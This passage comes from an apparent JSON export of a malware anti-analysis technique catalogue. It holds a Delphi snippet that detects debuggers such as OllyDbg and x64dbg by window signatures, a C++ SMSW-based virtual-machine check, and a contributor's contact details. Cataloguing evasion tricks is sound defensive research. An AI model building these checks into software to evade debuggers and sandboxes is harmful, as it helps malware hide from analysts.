LFindWindowSignatures := TObjectList<TFindWindowSignature>.Create();\r\n    LEnumWindowsSignatures := TDictionary<String, String>.Create();\r\n    try\r\n      {\r\n        Configure debuggers signatures here for FindWindow API technique.\r\n      }\r\n      AppendFindWindowSignature('OllyDbg', 'OLLYDBG', '');\r\n      AppendFindWindowSignature('x64dbg (x64)', '', 'x64dbg');\r\n      AppendFindWindowSignature('x32dbg (x32)', '', 'x32dbg');\r\n\r\n      // ...\r\n      // AppendFindWindowSignature('...', '...', '...');\r\n      // ...\r\n\r\n      {\r\n        Configure debuggeers signatures here for EnumWindows API technique.\r\n      }\r\n      LEnumWindowsSignatures.Add('Immunity Debugger', 'Immunity Debugger');\r\n\r\n      // ...\r\n      // AEnumWindowsSignatures.Add('...', '...');\r\n      // ...\r\n\r\n      {\r\n        Fire !!!\r\n      }\r\n      Locate_FindWindow();\r\n      Locate_EnumWindows();\r\n\r\n      readln;\r\n    finally\r\n      if Assigned(LFindWindowSignatures) then\r\n        FreeAndNil(LFindWindowSignatures);\r\n\r\n      if Assigned(LEnumWindowsSignatures) then\r\n        FreeAndNil(LEnumWindowsSignatures);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\n\r\nend."
        },
        {
            "id": 7,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/19/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nvoid smsw()\r\n{\r\n\tunsigned int reax = 0;\r\n\r\n\t__asm\r\n\t{\r\n\t\tmov eax, 0xCCCCCCCC\r\n\t\tsmsw eax\r\n\t\tmov DWORD PTR[reax], eax\r\n\t}\r\n\r\n\tif ((((reax >> 24) & 0xFF) == 0xcc) && (((reax >> 16) & 0xFF) == 0xcc))\r\n\t{\r\n\t    cout << \"VM detected!\" << endl;\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n    smsw();\r\n    cout << \"Hello world!\" << endl;\r\n    return 0;\r\n}"
        }
    ]
}